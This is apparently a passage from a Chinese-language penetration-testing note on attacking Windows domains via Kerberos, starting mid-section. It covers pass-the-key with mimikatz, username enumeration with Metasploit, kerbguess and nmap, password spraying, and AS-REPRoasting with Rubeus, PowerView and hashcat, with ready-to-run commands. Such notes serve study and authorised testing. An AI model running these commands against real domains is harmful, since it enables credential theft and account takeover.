> ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

```
sekurlsa::ekeys
sekurlsa::pth /user:testadmin /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c
```
# 用户名枚举
用户名不存在时
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/31a55b64-1236-18b6-5940-b1d347900d77.png)

用户名存在但是密码不正确时
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/f55fa841-df91-8055-01f6-898c21919c17.png)

工具

```
msf auxiliary/gather/kerberos_enumusers
java –jar kerbguess.jar –r [domain] –d [user list] –s [DC IP]
nmap –p 88 –script-args krb5-enum-users.realm='[domain]',userdb=[user list] [DC IP]
```

# 密码喷洒
密码不正确时
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/f55fa841-df91-8055-01f6-898c21919c17.png)
密码正确时
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/f47db59d-1595-c5e2-2537-b64c925df812.png)

通过少量密码爆破大量用户名，避免锁定账户。

工具 https://github.com/dafthack/DomainPasswordSpray

# AS-REPRoasting
对于域用户，如果设置了选项”Do not require Kerberos preauthentication”，此时向域控制器的88端口发送AS-REQ请求，对收到的AS-REP内容重新组合，能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式，接下来可以使用hashcat对其破解，最终获得该用户的明文口令。

利用前提：域用户设置了选项”Do not require Kerberos preauthentication”。通常情况下，该选项默认不会开启。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/c444f578-e43e-e0af-1682-b9577cebba01.png)

利用

```
Rubeus.exe asreproast
```
需要域账户或者机器账户运行

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/022cf334-9456-e809-5c1a-dd144b640539.png)

扔到hashcat就可以了

powerview中有寻找开启了`Do not require Kerberos preauthentication`选项用户的模块。

```
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose
```
# 黄金票据
放到后面和白银票据一起

# 参考
1. https://www.catalog.update.microsoft.com/Search.aspx?q=KB2871997
2. https://daiker.gitbook.io/windows-protocol/kerberos/1
3. https://blog.csdn.net/Ping_Pig/article/details/109171690
4. [域渗透——AS-REPRoasting](https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting/)
5. https://github.com/r3motecontrol/Ghostpack-CompiledBinaries